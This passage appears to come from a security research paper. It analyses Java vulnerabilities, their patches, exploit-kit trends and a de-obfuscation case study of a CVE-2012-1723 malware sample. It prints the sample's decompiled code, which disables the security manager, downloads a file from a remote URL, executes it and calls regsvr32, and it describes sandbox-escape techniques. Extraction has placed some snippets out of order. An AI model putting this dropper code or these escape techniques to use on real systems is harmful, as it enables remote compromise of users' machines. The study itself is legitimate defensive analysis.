CVE-2013-0809 was patched in JDK 7u17. To fix the vulnerability, Oracle introduced the SAFE_TO_MULT macro and 

updated the mlib_ImageCreate function to use it. Here is the updated snippet of the mlib_ImageCreate function, 

which shows the usage of the SAFE_TO_MULT macro: 

 
static int 
cvtCustomToDefault(JNIEnv *env, BufImageS_t *imageP, int component, 
                   unsigned char *dataP) { 
    ColorModelS_t *cmP = &imageP->cmodel; 
    RasterS_t *rasterP = &imageP->raster; 
    int y; 
    jobject jpixels = NULL; 
    jint *pixels; 
    unsigned char *dP = dataP; 
#define NUM_LINES    10 
    int numLines = NUM_LINES; 
    int nbytes = rasterP->width*4*NUM_LINES; 
 
    for (y=0; y < rasterP->height; y+=numLines) { 
        /* getData, one scanline at a time */ 
        if (y+numLines > rasterP->height) { 
            numLines = rasterP->height - y; 
            nbytes = rasterP->width*4*numLines; 
        } 
        jpixels = (*env)->CallObjectMethod(env, imageP->jimage, 
                                           g_BImgGetRGBMID, 0, y, 
                                           rasterP->width, numLines, 
                                           jpixels,0, rasterP->width); 
        if (jpixels == NULL) { 
            JNU_ThrowInternalError(env, "Can't retrieve pixels."); 
            return -1; 
        } 
 
        pixels = (*env)->GetPrimitiveArrayCritical(env, jpixels, NULL); 
        memcpy(dP, pixels, nbytes); 
        dP += nbytes; 
        (*env)->ReleasePrimitiveArrayCritical(env, jpixels, pixels, 
                                              JNI_ABORT); 
    } 
    return 0; 
} 
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We see that SAFE_TO_MULT is now used at every step of calculating the size of the buffer and we can also see that 

NULL will be returned instead of a pointer to an under-allocated buffer.  

CVE-2013-2420 - Out-of-bounds Write due to Integer Overflow  
Core Issue 

These two CWEs describe the condition of an integer overflow resulting in writing data outside of the bounds of an 

allocated buffer. Building on just an integer overflow from the previous section we provide a simple function to help 

with the explanation of this issue. 

 

We have a function, cwe190_to_cwe787, that takes four arguments. This example is incredibly contrived, but x and 

y are multiplied and the product is added to the base pointer to determine where we write a zero. The function tries 

to be safe by only writing the zero if x and y are both above zero and if the calculated pointer is less than the end of 

the buffer. Unfortunately the function fails to consider an overflow when multiplying x and y, allowing for an out-of-

bound write at an address lower than the base pointer. 

mlib_image *mlib_ImageCreate(mlib_type type, mlib_s32  channels, mlib_s32  width,  
      mlib_s32  height) { 
  if (!SAFE_TO_MULT(width, channels)) { 
    return NULL; 
  } 
   
  wb = width * channels; 
... 
  switch (type) { 
... 
    case MLIB_INT: 
      if (!SAFE_TO_MULT(wb, 4)) { 
        return NULL; 
      } 
      wb *= 4; 
      break; 
... 
  } 
   
... 
  if (!SAFE_TO_MULT(wb, height)) { 
      return NULL; 
  } 
   
  data = mlib_malloc(wb * height); 
  if (data == NULL) { 
    return NULL; 
  } 
... 
} 

 

void cwe190_to_cwe787(int *base, int *end, int x, int y) { 
    int *pbuf = base + x * y; 
    if (x > 0 && y > 0 && pbuf <= end) { 
        *pbuf = 0; 
    } 
} 
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Root Cause Analysis 

CVE-2013-242013 is an example of an integer overflow leading towards an out-of-bounds write. The root of the 

issue lies in the setICMpixels native function for the sun.awt.image.ImageRepresentation class. Here are the 

relevant portions of the function, which is implemented within 

jdk/src/share/native/sun/awt/image/awt_ImageRep.c: 

 

sStride is set to the input jict object's scanlineStride field, which is then used to calculate and increment the 

destination pointer without any further validation. 

Patch Analysis 

CVE-2013-2420 was patched in JDK 7u21. Oracle patched the vulnerability by checking all input supplied by the 

user. This is a good example of Oracle’s attempt at proactively fixing bugs as they went from validating very few of 

the input arguments to validating everything. To aid the new input validation checks, they added three macros. Here 
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JNIEXPORT void JNICALL 
Java_sun_awt_image_ImageRepresentation_setICMpixels(JNIEnv *env, jclass cls, jint x, jint y,              
                                                    jint w, jint h, jintArray jlut,  
                                                    jbyteArray jpix, jint off, jint scansize, 
                                                    jobject jict) { 
    unsigned char *srcData = NULL; 
    int *dstData; 
    int *dstP, *dstyP; 
    unsigned char *srcyP, *srcP; 
    int *srcLUT = NULL; 
    int yIdx, xIdx; 
    int sStride; 
    int *cOffs; 
    int pixelStride; 
    jobject joffs = NULL; 
    jobject jdata = NULL; 
 
    sStride = (*env)->GetIntField(env, jict, g_ICRscanstrID); 
    pixelStride = (*env)->GetIntField(env, jict, g_ICRpixstrID); 
    joffs = (*env)->GetObjectField(env, jict, g_ICRdataOffsetsID); 
    jdata = (*env)->GetObjectField(env, jict, g_ICRdataID); 
 
    srcLUT = (int *) (*env)->GetPrimitiveArrayCritical(env, jlut, NULL); 
    srcData = (unsigned char *) (*env)->GetPrimitiveArrayCritical(env, jpix, NULL); 
    cOffs = (int *) (*env)->GetPrimitiveArrayCritical(env, joffs, NULL); 
    dstData = (int *) (*env)->GetPrimitiveArrayCritical(env, jdata, NULL); 
 
    dstyP = dstData + cOffs[0] + y*sStride + x*pixelStride; 
    srcyP = srcData + off; 
    for (yIdx = 0; yIdx < h; yIdx++, srcyP += scansize, dstyP+=sStride) { 
        srcP = srcyP; 
        dstP = dstyP; 
        for (xIdx = 0; xIdx < w; xIdx++, dstP+=pixelStride) { 
            *dstP = srcLUT[*srcP++]; 
        } 
    } 
} 
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is the updated snippet of the setICMpixels function, as well as the three macros, which shows that the vulnerability 

was patched through increased input validation. 

 

#define CHECK_STRIDE(yy, hh, ss) 
    if ((ss) != 0) { 
        int limit = 0x7fffffff / ((ss) > 0 ? (ss) : -(ss)); 
        if (limit < (yy) || limit < ((yy) + (hh) - 1)) {  
            /* integer oveflow */    
            return JNI_FALSE;        
        }                                                    
    }                                                        
 
#define CHECK_SRC()                                       
    do {                                                  
        int pixeloffset;                                  
        if (off < 0 || off >= srcDataLength) {            
            return JNI_FALSE;                            
        }                                                 
        CHECK_STRIDE(0, h, scansize);                     
                                                          
        /* check scansize */                              
        pixeloffset = scansize * (h - 1);                 
        if ((w - 1) > (0x7fffffff - pixeloffset)) {       
            return JNI_FALSE;                             
        }                                                
        pixeloffset += (w - 1);                           
                                                          
        if (off > (0x7fffffff - pixeloffset)) {           
            return JNI_FALSE;                             
        }                                                 
    } while (0) 
 
#define CHECK_DST(xx, yy)                                 
    do {                                                  
        int soffset = (yy) * sStride;                     
        int poffset = (xx) * pixelStride;                 
        if (poffset > (0x7fffffff - soffset)) {           
            return JNI_FALSE;                             
        }                                                 
        poffset += soffset;                               
        if (dstDataOff > (0x7fffffff - poffset)) {        
            return JNI_FALSE;                            
        }                                                 
        poffset += dstDataOff;                            
                                                        
        if (poffset < 0 || poffset >= dstDataLength) {    
            return JNI_FALSE;                             
        }                                                 
    } while (0)                                           
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JNIEXPORT jboolean JNICALL 
Java_sun_awt_image_ImageRepresentation_setICMpixels(JNIEnv *env, jclass cls, 
                                                    jint x, jint y, jint w, 
                                                    jint h, jintArray jlut, 
                                                    jbyteArray jpix, jint off, 
                                                    jint scansize, 
                                                    jobject jict) { 
    unsigned char *srcData = NULL; 
    jint srcDataLength; 
    int *dstData; 
    jint dstDataLength; 
    jint dstDataOff; 
    int *dstP, *dstyP; 
    unsigned char *srcyP, *srcP; 
    int *srcLUT = NULL; 
    int yIdx, xIdx; 
    int sStride; 
    int *cOffs; 
    int pixelStride; 
    jobject joffs = NULL; 
    jobject jdata = NULL; 
 
    if (x < 0 || w < 1 || (0x7fffffff - x) < w) { 
        return JNI_FALSE; 
    } 
    if (y < 0 || h < 1 || (0x7fffffff - y) < h) { 
        return JNI_FALSE; 
    } 
 
    sStride = (*env)->GetIntField(env, jict, g_ICRscanstrID); 
    pixelStride = (*env)->GetIntField(env, jict, g_ICRpixstrID); 
    joffs = (*env)->GetObjectField(env, jict, g_ICRdataOffsetsID); 
    jdata = (*env)->GetObjectField(env, jict, g_ICRdataID); 
 
    if (JNU_IsNull(env, joffs) || (*env)->GetArrayLength(env, joffs) < 1) { 
        /* invalid data offstes in raster */ 
        return JNI_FALSE; 
    } 
 
    srcDataLength = (*env)->GetArrayLength(env, jpix); 
    dstDataLength = (*env)->GetArrayLength(env, jdata); 
    cOffs = (int *) (*env)->GetPrimitiveArrayCritical(env, joffs, NULL); 
    if (cOffs == NULL) { 
        return JNI_FALSE; 
    } 
 
    dstDataOff = cOffs[0]; 
 
    /* the offset array is not needed anymore and can be released */ 
    (*env)->ReleasePrimitiveArrayCritical(env, joffs, cOffs, JNI_ABORT); 
    joffs = NULL; 
    cOffs = NULL; 
 
    /* do basic validation: make sure that offsets for 
    * first pixel and for last pixel are safe to calculate and use */ 
    CHECK_STRIDE(y, h, sStride); 
    CHECK_STRIDE(x, w, pixelStride); 
    CHECK_DST(x, y); 
    CHECK_DST(x + w -1, y + h - 1); 
    /* check source array */ 
    CHECK_SRC(); 
 
    srcLUT = (int *) (*env)->GetPrimitiveArrayCritical(env, jlut, NULL); 
    srcData = (unsigned char *) (*env)->GetPrimitiveArrayCritical(env, jpix, NULL); 
    dstData = (int *) (*env)->GetPrimitiveArrayCritical(env, jdata, NULL); 
 
    dstyP = dstData + dstDataOff + y*sStride + x*pixelStride; 
    srcyP = srcData + off; 
    for (yIdx = 0; yIdx < h; yIdx++, srcyP += scansize, dstyP+=sStride) { 
        srcP = srcyP; 
        dstP = dstyP; 
        for (xIdx = 0; xIdx < w; xIdx++, dstP+=pixelStride) { 
            *dstP = srcLUT[*srcP++]; 
        } 
    } 
} 
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We see that they now check for integer overflow at every step of calculating the source and destination pointers 

and we can also see that the function will exit early in the presence of input that will cause an integer overflow. One 

potential path towards exploiting this vulnerability would be using the out-of-bounds write to replace a legitimate 

AccessControlContext with a malicious AccessControlContext that grants AllPermission. 

JavaFX Sub-component Weakness 
CVE-2013-2428 – Untrusted Pointer Dereference 
Core Issue 

CWE-822: Untrusted Pointer Dereference refers to a vulnerability that occurs when operations can be performed on 

a memory address of the attacker's choosing. The following code snippet will help with the explanation of this CWE. 

 

Within the constructor of the Gullible class, we execute the getDataPointer native function that returns a pointer to 

a data buffer. The dispose function executes the free native function if the dataPointer is not zero. The issue here 

lies in the visibility of the dataPointer instance variable. Since the variable is protected and since the class itself is 

public, the Gullible class could be subclassed. The following code snippet shows how this would work. 

 

Since dataPointer is a protected instance variable, the Malicious subclass is able to modify it. The cwe_822 static 

method instantiates a Malicious object, sets the data pointer to 0x41414141, and then calls the dispose method so 

public class Gullible { 
    protected long dataPointer; 
 
    public Gullible() { 
        dataPointer = getDataPointer(); 
    } 
 
    public dispose() { 
        if (dataPointer != 0) { 
            free(dataPointer); 
        } 
        dataPointer = 0; 
    } 
 
    private native long getDataPointer(); 
    private native void free(long dataPointer); 
} 

public class Malicious extends Gullible { 
    pubic setDataPointer(long inputDataPointer) { 
        dataPointer = inputDataPointer; 
    } 
 
    public static void cwe_822() { 
        Malicious m = new Malicious(); 
        m.setDataPointer(0x41414141); 
        m.dispose(); 
    } 
} 
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that the free native function will get called. At this point native code is being executed against an arbitrary memory 

location. 

Root Cause Analysis 

CVE-2013-242814 is an example of untrusted pointer dereference that occurs in the 

com.sun.webpane.platform.WebPage class. The following code snippet will help with the explanation of the 

vulnerability. 

 

The WebPage class stores a pointer to a native object within the pPage instance variable. There are numerous 

native functions within the class, such as twkSetEditable. When calling a native function, several of the methods 

reference the pPage instance variable directly while others use the getPage accessor method. It is possible to 

subclass the WebPage class and override the getPage method due to the fact the getPage method is public, the 

WebPage class is public, and the com.sun.webpage.platform package is not restricted. Doing so will result in an 

attacker-controlled pointer being passed to the native function. 

Patch Analysis 
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package com.sun.webpage.platform; 
... 
public class WebPage 
{ 
... 
  private long pPage = 0L; 
... 
  public long getPage() { 
    return this.pPage; 
  } 
... 
  public void setEditable(boolean paramBoolean) { 
    lockPage(); 
    try { 
      log.log(Level.FINE, "setEditable"); 
      if (this.isDisposed) { 
        log.log(Level.FINE, "setEditable() request for a disposed web page."); 
      } 
      else 
      { 
        twkSetEditable(getPage(), paramBoolean); 
      } 
    } finally { unlockPage(); } 
 
  } 
... 
  private native void twkSetEditable(long paramLong, boolean paramBoolean); 
... 
} 
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CVE-2013-2428 was patched in two ways. The com.sun.webpane package was first restricted in JDK 7u13 by 

adding it to the restricted package list rendering the vulnerability useless. Oracle officially patched this CVE in JDK 

7u21 by changing the visibility of the getPage method from public to package-private and final.  

 

Leveraging Sub-component Weaknesses 
Exploit kit authors have jumped on the Java bandwagon offering a variety of exploits that leverage different 

vulnerability types. As stated previously, the kits on average need to offer 2+ Java exploits just to stay competitive 

in this market. Aligning this with the recent attacks using 0-day vulnerabilities; we derive unique insights into which 

software weaknesses are actually being leveraged in the threat landscape. 

To further our understanding of the landscape, our set of 52,000 unique Java malware samples were run through 

numerous anti-virus engines to classify the samples into a set of categories based on the CVE they utilized. This 

provided us with a list of the most common weaponized Java vulnerabilities over the last three years. In the graph 

below, the last three years of unique (by MD5 hash) Java malware samples per month are shown. 
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It is interesting that this timeline mirrors the increase in vulnerability discoveries by the external community over the 

last 6 months. Starting in August, the number of unique malware instances quickly shot up to close to the 4,000 

mark. More surprising is the huge jump in unique instances that begin in December and hit a high in January of over 

12,000 against just 9 of the most common CVEs. Half of those unique instances were labeled as CVE-2012-1723, 

which is a type confusion vulnerability in the HotSpot sub-component. January 2013 also saw a large increase in 

use of CVE-2012-0507, another type confusion vulnerability in the Concurrency sub-component.  

Anti-virus engines do not always label samples correctly so the exact percentage of the unique samples per CVE 

inherently includes a small margin for error. As stated at the beginning of this paper we focus on the time period of 

2011 – 2013. This graph is limited to the active CVEs during this time. Due to the lack of data for CVEs found in 

2009-2010 in our sample set this may have resulted in a less than accurate representation of activity in early 2011. 

The key take away is that attackers are significantly upping their game by targeting more CVEs than ever and are 

increasingly successful at getting their exploits onto victim machines.  

Threat Landscape 
Aligning Component Weaknesses to Attacks 
As our goal is to understand the weaknesses at play in the landscape, we compared the list of actively targeted 

CVEs to the CVEs available through penetration testing tools and exploit kits tracked by Contagio15. By far, the most 

common vulnerability type for attack tools is the sandbox bypass using unsafe reflection to gain code execution. 

The table below details out the CVE/CWEs available to attackers and the toolsets they are available in. 

CVE CWE CWE Sub-category 
Exploit  

K it  
Penetrat ion 
Test ing Tool  

CVE-2010-4452 
CWE-114 
Process Control 

N/A Yes Yes 

CVE-2011-3521 
CWE-265 
Privilege / Sandbox Issues 

CWE-843 
Type Confusion 

Yes No 

CVE-2011-3544 
CWE-265 
Privilege / Sandbox Issues 

CWE-272 
Least Privilege Violation 

Yes Yes 

CVE-2012-0507 
CWE-265 
Privilege / Sandbox Issues 

CWE-843 
Type Confusion 

Yes Yes 

CVE-2012-1723 
CWE-265 
Privilege / Sandbox Issues 

CWE-843 
Type Confusion 

Yes Yes 

CVE-2012-4681 
CWE-265 
Privilege / Sandbox Issues 

CWE-470 
Unsafe Reflection 

No Yes 

                                                                            
15 http://contagiodump.blogspot.ca/2010/06/overview-of-exploit-packs-update.html 
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CVE-2012-0500 
CWE-78: OS Command 
Injection 

N/A No Yes 

CVE-2012-5076 
CWE-265: Privilege / Sandbox 
Issues 

CWE-470 
Unsafe Reflection 

Yes Yes 

CVE-2012-5088 
CWE-265: Privilege / Sandbox 
Issues 

CWE-470 
Unsafe Reflection 

No Yes 

CVE-2013-0422 
CWE-265: Privilege / Sandbox 
Issues 

CWE-470 
Unsafe Reflection 

Yes Yes 

CVE-2013-0431 
CWE-265 
Privilege / Sandbox Issues 

CWE-470 
Unsafe Reflection 

Yes Yes 

CVE-2013-1480 
CWE-122 
Heap-based Buffer Overflow 

N/A No No 

CVE-2013-1488 
CWE-265 
Privilege / Sandbox Issues 

CWE-272 
Least Privilege Violation 

No Yes 

CVE-2013-1493 
CWE-122 
Heap-based Buffer Overflow 

N/A Yes Yes 

CVE-2013-2432 
CWE-265 
Privilege / Sandbox Issues 

CWE-843 
Type Confusion 

Yes Yes 

Figure 13 -  Act ively Targeted CVS 

Comparing the most popular software weakness across the attack tools to the most patched vulnerabilities, we see 

the following: 

• Most Common Weakness Included in Attack Tools 
1. CWE-265 Privilege / Sandbox Issues due to CWE-470 Unsafe Reflection 
2. CWE-265 Privilege / Sandbox Issues due to CWE-843 Type Confusion 
3. CWE-122 Heap-based Buffer Overflow 
4. CWE-265 Privilege / Sandbox Issues due to CWE-272 Least Privilege Violation 

• Java’s Most Patched Weakness 
1. CWE-265 Privilege / Sandbox Issues due to CWE-470 Unsafe Reflection 
2. CWE-265 Privilege / Sandbox Issues due to CWE-272 Least Privilege Violation 
3. CWE-122 Heap-based Buffer Overflow 
4. CWE-787: Out-of-bounds Write 
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One intriguing occurrence is that the type confusion style of sandbox bypass switches place in the ranks with the 

least privilege style of sandbox bypass when it came to inclusion in the attack tools. The next logical question is:  

Which weakness is utilized more often in the exploit kits?  The chart below describes the utilization breakdown for 

each software weakness across our malware sample set: 

 

F igure 14 -  CWEs Uti l ized by Attackers 

The clear “winner” is the type confusion style of sandbox bypass vulnerability with over half of the unique Java 

malware samples. Heap-based buffer overflow vulnerabilities barely show up on the diagram due to the sheer 
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pointers. However, these techniques will also require DEP and ASLR to be bypassed. A much simpler method is to 

make use of the java.beans.Statement class. A Statement object essentially represents a single line of Java code of 
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All Statement objects have an AccessControlContext instance variable that is used when invoking the statement. 

The intended purpose is to prevent least privilege violations and since the instance variable is final, within the 

confines of the JVM, it is successful. However, if we allocate a Statement object such that we can use a buffer 

overflow or out-of-bounds write to overwrite the saved AccessControlContext, then invocation of the statement will 
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write or buffer overflow into a least privilege violation which means that DEP and ASLR are not an issue. Usage of 

this technique does require the ability to predict where the Statement object will be relative to the buffer you are 

overflowing or writing past. 

The second technique occurs in pure Java and essentially comes down to the following statement being executed: 

 

The aforementioned statement is part of how Java has received its “write once, own everywhere” reputation. Once 

executed in a higher context with no user stack, all subsequent statements will be executed with no sandbox to 

stop it. 

Case Study: CVE-2012-1723 
CVE-2012-1723 is a vulnerability with the bytecode verifier within HotSpot that can lead to type confusion. It was 

very popular with malware authors and has characteristics that make it easy to identify. Three easy things to look 

for that are indicative of CVE-2012-1723 are: 

• The presence of a class that has at least 100 instance variables of a single class and a single static variable 
of another class 

o Exploitation of this vulnerability does not require these variables to ever be set and as such, you 
are unlikely to see a sample that sets them to any value 

• The presence of a method within that class that takes the static class’ type as an argument and returns the 
instance variables’ type as a return value 

• The presence of repeated calls to the aforementioned method with null as the sole argument 

While it is possible that the malware author was clever enough to obfuscate the code such that common 

decompilers fail to properly decompile it, we see that it was weakly obfuscated using Allitori’s Java Obfuscator16. 

Note that this is not representative of the capabilities of Allitori’s obfuscator but of the options within the obfuscator 

that the malware author enabled. The JAR file contained six class files: Adw.class, dqqOzf.class, dumppzGr.class, 

qFvtPH.class, qWodxNpkOs.class, and vceBGl.class. The dumppzGr, qFvtPH, and vceBGl were not used by the exploit 

code, so they are not included in the dump below: 

 

                                                                            
16 http://www.allatori.com/ 

System.setSecurityManager(null) 
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//Adw 
import java.io.PrintStream; 
import java.net.URL; 
import java.security.AllPermission; 
import java.security.CodeSource; 
import java.security.Permissions; 
import java.security.cert.Certificate; 
 
public class Adw 
{ 
  public static String mwYda(String paramString) 
  { 
    String[] arrayOfString = paramString.split("hj"); 
    String str = ""; 
    System.out.println(arrayOfString.length); 
    return qWodxNpkOs.qNkV(arrayOfString, 0); 
  } 
 
  public static URL RWdvAlV(String paramString, int paramInt) 
    throws Exception 
  { 
    String str = paramString; 
    str = str + (char)(Math.min(113, 2454) + paramInt); 
    str = str + (char)(Math.min(116, 23544) + paramInt); 
    str = str + (char)(Math.min(109, 23544) + paramInt); 
    str = str + (char)(Math.min(66, 7275) + paramInt); 
    str = str + (char)(Math.min(55, 3235) + paramInt); 
    str = str + (char)(Math.min(55, 2225) + paramInt); 
    str = str + (char)(Math.min(55, 6275) + paramInt); 
    return new URL(str); 
  } 
 
  public static CodeSource FsXSABhE(Certificate[] paramArrayOfCertificate,  
                                    Permissions paramPermissions) 
    throws Exception 
  { 
    paramPermissions.add(new AllPermission()); 
    return new CodeSource(RWdvAlV("f", -8), paramArrayOfCertificate); 
  } 
} 
 
//dqqOzf 
import java.io.BufferedInputStream; 
import java.io.BufferedOutputStream; 
import java.io.FileOutputStream; 
import java.io.PrintStream; 
import java.lang.reflect.Constructor; 
import java.net.URL; 
import java.security.AccessController; 
import java.security.PrivilegedExceptionAction; 
 
public class dqqOzf 
  implements PrivilegedExceptionAction 
{ 
  static String FGxIhk; 
  int vbEfOUE = 51361; 
  int JQNmeVgsUu = 205959; 
  static String IXKQHUlU = "svr3"; 
  static final int TiwCFY = 1024; 
 
  public dqqOzf(String paramString1, String paramString2) 
  { 
    try 
    { 
      AccessController.doPrivileged(this); 
      ndOGfc(paramString1, paramString2); 
    } 
    catch (Exception localException) 
    { 
    } 
  } 
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  public static void DASIS(String paramString1, String paramString2,  
                           Class paramClass) 
    throws Exception 
  { 
    Object[] a = new Object[] { Adw.mwYda(paramString1),  
                             Adw.mwYda(paramString2) }; 
    paramClass.getConstructor(qWodxNpkOs.JebR()).newInstance(a); 
  } 
 
  void hfRDH(SecurityManager paramSecurityManager) 
  { 
    System.setSecurityManager(paramSecurityManager); 
  } 
 
  public Object run() 
  { 
    hfRDH(null); 
    return Integer.valueOf(56); 
  } 
 
  public static String xUdVD(int paramInt1, int paramInt2) 
  { 
    String str = ""; 
    str = str + (char)(int)(Math.round(-106.5D) * -1L); 
    str = str + (char)Math.abs(paramInt2); 
    str = str + (char)(int)(Math.round(-117.59999999999999D) * -1L); 
    str = str + (char)Math.abs(paramInt2); 
    str = str + (char)Math.abs(paramInt1); 
    str = str + (char)Math.abs(-105); 
    str = str + (char)Math.abs(-111); 
    str = str + (char)Math.abs(paramInt1); 
    str = str + (char)Math.abs(-116); 
    str = str + (char)(int)(Math.round(-108.59999999999999D) * -1L); 
    str = str + (char)Math.abs(-112); 
    str = str + (char)Math.abs(-100); 
    str = str + (char)Math.abs(-105); 
    str = str + (char)Math.abs(-114); 
    return str; 
  } 
 
  public static FileOutputStream tqxwAzdag(String paramString, int paramInt1,  
                                           int paramInt2) 
    throws Exception 
  { 
    String str = xUdVD(paramInt1, paramInt2); 
    System.out.println(str.replace("a", "uuu")); 
    FGxIhk = System.getenv("APPDATA").concat(paramString); 
    FileOutputStream localFileOutputStream = new FileOutputStream(FGxIhk); 
    return localFileOutputStream; 
  } 
 
  static int ARrlm(String[] paramArrayOfString, int paramInt1, int paramInt2) 
  { 
    return Integer.parseInt(paramArrayOfString[paramInt1]) + paramInt2; 
  } 
 
  static String AWGnFoHhfj(String[] paramArrayOfString, int paramInt1, int paramInt2) 
  { 
    String str = ""; 
    while (paramInt1 < paramArrayOfString.length) 
    { 
      str = str + (char)ARrlm(paramArrayOfString, paramInt1, paramInt2); 
      paramInt1++; 
    } 
    return str; 
  } 
 
  public static void zyyLMiDiVF() 
    throws Exception 
  { 
    Process localProcess = new ProcessBuilder(new String[] { FGxIhk }).start(); 
  } 
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  public static void VcIJmRVya(String paramString) 
    throws Exception 
  { 
    String[] a = new String[] { "reg".concat(IXKQHUlU.concat("2.ex".concat("e"))), 
                              paramString, FGxIhk } 
    Process localProcess = new ProcessBuilder(a).start(); 
  } 
 
  public static void NBCwYF(BufferedOutputStream paramBufferedOutputStream,  
                            BufferedInputStream paramBufferedInputStream) 
    throws Exception 
  { 
    int i = Math.min(465215, 347676) - 399325; 
    paramBufferedOutputStream.close(); 
    String str1 = ""; 
    str1 = str1 + '/'; 
    str1 = str1 + 's'; 
    String str2 = str1; 
    paramBufferedInputStream.close(); 
    int j = Math.abs(480149) + 332804; 
    try 
    { 
      zyyLMiDiVF(); 
    } 
    catch (Exception localException) 
    { 
    } 
    VcIJmRVya(str2); 
  } 
 
  static void fVgym(BufferedOutputStream paramBufferedOutputStream,  
                    BufferedInputStream paramBufferedInputStream) 
    throws Exception 
  { 
    byte[] arrayOfByte = new byte[1024]; 
    int i = 0; 
    while ((i = paramBufferedInputStream.read(arrayOfByte, 0, 1024)) >= 0) 
      paramBufferedOutputStream.write(arrayOfByte, 0, i); 
  } 
 
  public static void xBoGAroU(String paramString1, String paramString2) 
  { 
    try 
    { 
      BufferedInputStream localBufferedInputStream =  
     new BufferedInputStream(new URL(paramString1).openStream()); 
      FileOutputStream localFileOutputStream =  
     tqxwAzdag("\\".concat(paramString2), -46, -97); 
      BufferedOutputStream localBufferedOutputStream =  
     new BufferedOutputStream(localFileOutputStream, 1024); 
      fVgym(localBufferedOutputStream, localBufferedInputStream); 
      NBCwYF(localBufferedOutputStream, localBufferedInputStream); 
    } 
    catch (Exception localException) 
    { 
    } 
  } 
 
  public void ndOGfc(String paramString1, String paramString2) 
  { 
    try 
    { 
      BufferedInputStream localBufferedInputStream =  
     new BufferedInputStream(new URL(paramString1).openStream()); 
      FileOutputStream localFileOutputStream =  
     tqxwAzdag("\\".concat(paramString2), -46, -97); 
      BufferedOutputStream localBufferedOutputStream =  
    new BufferedOutputStream(localFileOutputStream, 1024); 
      int i = Math.min(387956, 255862) ^ 0x3A83E; 
      fVgym(localBufferedOutputStream, localBufferedInputStream); 
      NBCwYF(localBufferedOutputStream, localBufferedInputStream); 
    } 
    catch (Exception localException) { } 
  } 
} 
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//qWodxNpkOs 
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory; 
import com.sun.org.glassfish.gmbal.util.GenericConstructor; 
import java.applet.Applet; 
import java.io.ByteArrayOutputStream; 
import java.io.InputStream; 
import java.io.PrintStream; 
import java.lang.reflect.Method; 
 
public class qWodxNpkOs extends Applet 
{ 
  static String qNkV(String[] paramArrayOfString, int paramInt) 
  { 
    String str = ""; 
    while (paramInt < paramArrayOfString.length) 
    { 
      str = str + (char)(Integer.parseInt(paramArrayOfString[paramInt]) + 1); 
      paramInt++; 
    } 
    return str; 
  } 
 
  public static Class[] JebR() 
  { 
    return new Class[] { String.class, String.class }; 
  } 
 
  int wRXNjHtp(String paramString, int paramInt1, int paramInt2, long paramLong) 
  { 
    int i = Math.min(333856, 207293) ^ 0x66493; 
    int j = Math.min(421682, 199391) % 85754; 
    int k = Math.abs(263858) + 211007; 
    int m = Math.abs(23452) + 221538; 
    return paramInt1 * 324346 + paramInt1 % 98101; 
  } 
 
  int QxRR(String paramString, int paramInt1, int paramInt2, long paramLong) 
  { 
    int i = Math.min(174905, 268143) ^ 0x28EE4; 
    int j = Math.abs(423810) * 272680; 
    return paramInt1 + 108071 + paramInt1 ^ 0x56EDF; 
  } 
 
  public void CNzNo(String paramString1, String paramString2) 
  { 
    try 
    { 
      ByteArrayOutputStream localByteArrayOutputStream =  
     new ByteArrayOutputStream(); 
      byte[] arrayOfByte = new byte[8192]; 
      InputStream localInputStream = getClass().getResourceAsStream("dqqOzf.class"); 
      int i; 
      while ((i = localInputStream.read(arrayOfByte)) > 0) 
        localByteArrayOutputStream.write(arrayOfByte, 0, i); 
      arrayOfByte = localByteArrayOutputStream.toByteArray(); 
      String a = "sun.inv".concat("oke.anon.Anonymo").concat("usClassLoader"); 
      GenericConstructor localGenericConstructor =  
     new GenericConstructor(Object.class, a, new Class[0]); 
      Object localObject = localGenericConstructor.create(new Object[0]); 
      String b = "loa".concat("dClass"); 
      Class[] c = new Class[] { Byte[].class }; 
      Method localMethod =  
     ManagedObjectManagerFactory.getMethod(localObject.getClass(), b, c); 
      Class localClass = (Class)localMethod.invoke(localObject,  
                                                new Object[] { arrayOfByte }); 
      dqqOzf.DASIS(paramString1, paramString2, localClass); 
    } 
    catch (Exception localException) 
    { 
    } 
  } 
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While no main class was specified in the JAR’s manifest, we can assume that qWodxNpkOs is the main class as it is a 

subclass of Applet. The presence of an init method that ensures that it is running on Java 1.7 before continuing 

confirms this theory. That leaves Adw and dqqOzf as questionably relevant. Of Adw’s three static methods, only 

mwYda is called from another function and since all it does is split the input string by “hj” before passing to another 

function, we can easily replace calls to it so that we can eliminate this class. The dqqOzf class is a subclass of 

PrivilegedExceptionAction and contains a doPrivileged block within its constructor. Since a new instance of dqqOzf is 

created within qWodxNpk, we surmise that this is another useful class. At this point we have gone from six 

potentially relevant classes to just two. We now apply constant propagation and dead code elimination to further de-

obfuscate these two classes. We will also evaluate pure functions whenever possible and inline functions wherever it 

makes sense and makes the code more readable. Constant propagation is the act of replacing variables with known 

values. As an example, we saw the following function in this piece of malware: 

 

We also saw a single call to this function that looked like the following: 

 

  int LXIt(int paramInt1, int paramInt2, int paramInt3, int paramInt4,  
           String paramString, long paramLong) 
  { 
    return paramInt3 ^ 318100 - paramInt1 * 143360; 
  } 
 
  String[] pxRcChlJej() 
  { 
    String[] arrayOfString = new String[2]; 
    arrayOfString[0] = getParameter("Sjuzeod"); 
    arrayOfString[1] = getParameter("TQrzC"); 
    return arrayOfString; 
  } 
 
  public void init() 
  { 
    String[] arrayOfString = pxRcChlJej(); 
    String str = System.getProperty("java.vers".concat("ion")); 
    if (str.indexOf("1.".concat("7")) != -1) 
      CNzNo(arrayOfString[0], arrayOfString[1]); 
  } 
} 

public static URL RWdvAlV(String paramString, int paramInt) 
  throws Exception 
{ 
  String str = paramString; 
  str = str + (char)(Math.min(113, 2454) + paramInt); 
  str = str + (char)(Math.min(116, 23544) + paramInt); 
  str = str + (char)(Math.min(109, 23544) + paramInt); 
  str = str + (char)(Math.min(66, 7275) + paramInt); 
  str = str + (char)(Math.min(55, 3235) + paramInt); 
  str = str + (char)(Math.min(55, 2225) + paramInt); 
  str = str + (char)(Math.min(55, 6275) + paramInt); 
  return new URL(str); 
} 

RWdvAlV('f', -8) 
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Visually we can see that for each line in the function, Math.min() will return the value on the left-most side. We 

already know that each value is added together with -8, therefore we can easily convert this to the string that will get 

returned, “file:///”. 

Dead code elimination is the act of removing statements and functions that are never called. This was partially 

accomplished in the removal of unused classes. We now continue doing so within our two remaining classes. Though 

the following function was removed since it was not being called at all, here is an example of dead code elimination: 

 

Since the return value only references a single argument and not the local variables, all of those statements can be 

removed to result in the following function: 

 

We can also remove the unnecessary arguments and change the function prototype to the following: 

 

